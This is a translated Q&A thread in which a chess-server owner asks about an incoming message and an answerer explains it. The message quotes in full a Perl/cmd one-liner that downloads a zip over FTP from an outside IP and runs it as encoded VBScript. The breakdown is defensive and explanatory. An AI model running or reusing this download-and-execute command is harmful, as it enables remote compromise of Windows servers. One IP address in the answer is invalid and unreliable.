Android 我在我的服务器上收到了一条可能来自黑客的消息

Android 我在我的服务器上收到了一条可能来自黑客的消息,android,perl,cmd,server,Android,Perl,Cmd,Server,我有一个用Android制作的在线国际象棋应用程序 在客户端调用.accept()并读取BufferedReader()后,我监视服务器收到的所有消息 我最近收到一条来自未知用户的非常奇怪的消息,它与我收到的通常消息格式完全不匹配 这是服务器收到的: ?2 28 \perl.exe -esystem('cmd.exe /c echo bin>f&echo get azb.zip %temp%\\z.zip>>f&echo by

我有一个用Android制作的在线国际象棋应用程序

在客户端调用
.accept()
并读取
BufferedReader()
后,我监视服务器收到的所有消息

我最近收到一条来自未知用户的非常奇怪的消息,它与我收到的通常消息格式完全不匹配

这是服务器收到的:

?2                  28 \perl.exe  -esystem('cmd.exe /c echo bin>f&echo get azb.zip %temp%\\z.zip>>f&echo bye>>f&ftp -A -s:f 112.213.127.52 &cscript.exe /b /e:VBScript.Encode %temp%\\z.zip 579562847 macu://58.238.143.25:88/h')

有人知道这是什么吗?如果有危险,我该怎么办?

确实,这看起来像是一次攻击(或企图)。如果将该行拆分,则以以下内容结束:

“个人”试图在服务器上执行一些代码。它首先创建一个名为
f
的文件,其中包含以下内容:

bin
get azb.zip %temp%\z.zip
bye
然后它以该文件作为输入运行
ftp
命令,即它连接到112.213.127.52并获取文件
azb.zip
,并将其作为
%temp%\z.zip
本地存储(在您的服务器上)

最后它运行了

cscript.exe /b /e:VBScript.Encode %temp%\z.zip 579562847 macu://58.238.143.25:88/h
整个代码段被包装成一个
perl
一行程序。Perl的
system()
函数只执行给定给它的外部命令,在本例中是
cmd.exe
。我认为这样做是因为您的服务器不太可能运行
cmd.exe
,但它可能运行
perl
,因为
perl
经常用于服务器脚本(例如cgi脚本)

好消息是:只有在满足以下所有条件时,这才有效:

  • 您的服务器必须安装了
    perl.exe
  • 它必须安装了
    cmd.exe
  • 它必须安装了
    cscript.exe
  • 它必须正确解释
    %temp%
  • 最重要的是:您的服务器和服务器端应用程序必须配置为执行通过GET请求提供的任意代码,这是不太可能的
地址583.81.143.25来自韩国,112.213.127.52来自香港。
我不在乎。这是针对基于Windows的服务器的攻击。是你的吗?

我投票将这个问题作为离题题来结束,因为这不是一个编程问题这是一个很好的问题,但@Bob是对的。什么是合适的?我们能移动它吗?这不是个坏问题。但它根本不属于这里。我不知道我对这个问题的感觉如何(毕竟代码很短),但请看Meta。@PerlDog:你需要3000+的声誉,你只需投票结束这个问题,并给出它“属于另一个网站”的理由。